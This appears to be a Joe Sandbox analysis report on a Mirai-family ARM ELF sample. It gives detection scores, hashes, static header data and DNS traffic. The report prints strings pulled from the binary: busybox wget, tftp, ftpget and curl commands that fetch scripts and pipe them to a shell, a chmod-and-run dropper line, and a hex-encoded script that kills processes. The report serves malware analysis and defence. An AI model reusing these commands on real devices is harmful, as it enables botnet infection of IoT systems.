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Linux Analysis Report
jklarm6.elf

Overview

General Information

Sample name:jklarm6.elf
Analysis ID:1643365
MD5:f383456069a4d00cf0fd7a8fc33ae283
SHA1:9d70e0ad2683ad0a8a4a73890ea42dc3df89ca2a
SHA256:f7662446e3da1186bd4da25f62058380c6f656e1f9700bbfc73d6797bed56c71
Tags:elfuser-abuse_ch
Infos:

Detection

Score:48
Range:0 - 100

Signatures

Multi AV Scanner detection for submitted file
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious

General Information

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1643365
Start date and time:2025-03-19 19:41:31 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 41s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:jklarm6.elf
Detection:MAL
Classification:mal48.linELF@0/0@2/0

Runtime Messages

Command:/tmp/jklarm6.elf
PID:5525
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

  • system is lnxubuntu20
  • jklarm6.elf (PID: 5525, Parent: 5441, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/jklarm6.elf
  • cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

  • • AV Detection
  • • Spreading
  • • Networking
  • • System Summary
  • • Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: jklarm6.elfReversingLabs: Detection: 41%
Source: jklarm6.elfVirustotal: Detection: 43%Perma Link
Source: jklarm6.elfString: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4$
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
Source: jklarm6.elfString found in binary or memory: http:///curl.sh
Source: jklarm6.elfString found in binary or memory: http:///wget.sh
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sampleString containing 'busybox' found: /bin/busybox
Source: Initial sampleString containing 'busybox' found: usage: busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname Day2
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper telnet
Source: Initial sampleString containing 'busybox' found: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\
Source: ELF static info symbol of initial sample.symtab present: no
Source: classification engineClassification label: mal48.linELF@0/0@2/0
Source: /tmp/jklarm6.elf (PID: 5525)Queries kernel information via 'uname': Jump to behavior
Source: jklarm6.elf, 5525.1.00007ffefba6d000.00007ffefba8e000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/jklarm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/jklarm6.elf
Source: jklarm6.elf, 5525.1.000056098e71f000.000056098e84d000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
Source: jklarm6.elf, 5525.1.00007ffefba6d000.00007ffefba8e000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
Source: jklarm6.elf, 5525.1.000056098e71f000.000056098e84d000.rw-.sdmpBinary or memory string: V!/etc/qemu-binfmt/arm
Source: jklarm6.elf, 5525.1.00007ffefba6d000.00007ffefba8e000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting		Valid AccountsWindows Management Instrumentation1
Scripting		Path InterceptionDirect Volume AccessOS Credential Dumping11
Security Software Discovery		Remote ServicesData from Local System1
Non-Application Layer Protocol		Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Application Layer Protocol		Exfiltration Over BluetoothNetwork Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1643365 Sample: jklarm6.elf Startdate: 19/03/2025 Architecture: LINUX Score: 48 8 daisy.ubuntu.com 2->8 10 Multi AV Scanner detection for submitted file 2->10 6 jklarm6.elf 2->6         started        signatures3 process4

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
jklarm6.elf42%ReversingLabsLinux.Backdoor.Mirai
jklarm6.elf44%VirustotalBrowse

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
daisy.ubuntu.com
162.213.35.24
truefalse
    		high
    NameSourceMaliciousAntivirus DetectionReputation
    http:///wget.shjklarm6.elffalse
      		high
      http:///curl.shjklarm6.elffalse
        		high

        World Map of Contacted IPs

        ⊘No contacted IP infos

        Joe Sandbox View / Context

        IPs

        ⊘No context

        Domains

        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
        daisy.ubuntu.comresgod.ppc.elfGet hashmaliciousMiraiBrowse
        • 162.213.35.25
        resgod.arm.elfGet hashmaliciousMiraiBrowse
        • 162.213.35.24
        resgod.arm5.elfGet hashmaliciousMiraiBrowse
        • 162.213.35.25
        resgod.mips.elfGet hashmaliciousMiraiBrowse
        • 162.213.35.24
        resgod.mpsl.elfGet hashmaliciousMiraiBrowse
        • 162.213.35.24
        resgod.arm7.elfGet hashmaliciousMiraiBrowse
        • 162.213.35.25
        resgod.arm6.elfGet hashmaliciousMiraiBrowse
        • 162.213.35.25
        sync.arm5.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.24
        resgod.x86.elfGet hashmaliciousMiraiBrowse
        • 162.213.35.25
        miner.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.25

        ASNs

        ⊘No context

        JA3 Fingerprints

        ⊘No context

        Dropped Files

        ⊘No context

        Created / dropped Files

        ⊘No created / dropped files found

        Static File Info

        General

        File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
        Entropy (8bit):6.073410245977012
        TrID:
        • ELF Executable and Linkable format (generic) (4004/1) 100.00%
        File name:jklarm6.elf
        File size:71'844 bytes
        MD5:f383456069a4d00cf0fd7a8fc33ae283
        SHA1:9d70e0ad2683ad0a8a4a73890ea42dc3df89ca2a
        SHA256:f7662446e3da1186bd4da25f62058380c6f656e1f9700bbfc73d6797bed56c71
        SHA512:98ba54a0c0501d7159c41ffd0522b3ec74c4410ebf8aa1462354dbff8c451b26acf73a7a9bbbe0c44f60946097e50de471d1d5121d8a99727f0c54064fa6e16e
        SSDEEP:1536:p2nkLTiGNW3jRLvEzBRqHG75UbYJalNtjGQujA53NMoiX1BNCdvvXPbbBR:HT5N6LvEzBQHG75hErGQW1BNCdvvXPb
        TLSH:DE63E796B882CA52C5D452BAFA1E11CD331317B8E3DF7213DE106F657B8A82B0E7B541
        File Content Preview:.ELF..............(.....T...4...........4. ...(.....................................................x...............Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../.$.............-.@0....S

        Static ELF Info

        ELF header

        Class:ELF32
        Data:2's complement, little endian
        Version:1 (current)
        Machine:ARM
        Version Number:0x1
        Type:EXEC (Executable file)
        OS/ABI:UNIX - System V
        ABI Version:0
        Entry Point Address:0x8154
        Flags:0x4000002
        ELF Header Size:52
        Program Header Offset:52
        Program Header Size:32
        Number of Program Headers:3
        Section Header Offset:71324
        Section Header Size:40
        Number of Section Headers:13
        Header String Table Index:12

        Sections

        NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
        NULL0x00x00x00x00x0000
        .initPROGBITS0x80940x940x100x00x6AX004
        .textPROGBITS0x80b00xb00x1032c0x00x6AX0016
        .finiPROGBITS0x183dc0x103dc0x100x00x6AX004
        .rodataPROGBITS0x183ec0x103ec0xfc00x00x2A004
        .init_arrayINIT_ARRAY0x213b00x113b40x40x00x3WA004
        .fini_arrayFINI_ARRAY0x213b40x113b80x40x00x3WA004
        .jcrPROGBITS0x213b80x113bc0x40x00x3WA004
        .gotPROGBITS0x213bc0x113c00x740x40x3WA004
        .dataPROGBITS0x214300x114340x1f40x00x3WA004
        .bssNOBITS0x216240x116280x35580x00x3WA004
        .ARM.attributesARM_ATTRIBUTES0x00x116280x100x00x0001
        .shstrtabSTRTAB0x00x116380x620x00x0001

        Program Segments

        TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
        LOAD0x00x80000x80000x113ac0x113ac6.09690x5R E0x8000.init .text .fini .rodata
        LOAD0x113b00x213b00x213ac0x2780xb7cc3.24210x6RW 0x8000.init_array .fini_array .jcr .got .data .bss
        GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

        Network Behavior

        Download Network PCAP: filtered – full

        TimestampSource PortDest PortSource IPDest IP
        Mar 19, 2025 19:42:35.054671049 CET4765353192.168.2.141.1.1.1
        Mar 19, 2025 19:42:35.054671049 CET4768153192.168.2.141.1.1.1
        Mar 19, 2025 19:42:35.063930988 CET53476531.1.1.1192.168.2.14
        Mar 19, 2025 19:42:35.064903021 CET53476811.1.1.1192.168.2.14

        DNS Queries

        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
        Mar 19, 2025 19:42:35.054671049 CET192.168.2.141.1.1.10x72cbStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
        Mar 19, 2025 19:42:35.054671049 CET192.168.2.141.1.1.10x261Standard query (0)daisy.ubuntu.com28IN (0x0001)false

        DNS Answers

        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
        Mar 19, 2025 19:42:35.063930988 CET1.1.1.1192.168.2.140x72cbNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
        Mar 19, 2025 19:42:35.063930988 CET1.1.1.1192.168.2.140x72cbNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

        System Behavior

        General

        Start time (UTC):18:42:32
        Start date (UTC):19/03/2025
        Path:/tmp/jklarm6.elf
        Arguments:/tmp/jklarm6.elf
        File size:4956856 bytes
        MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

        File Activities

        Process Activities

        System Activities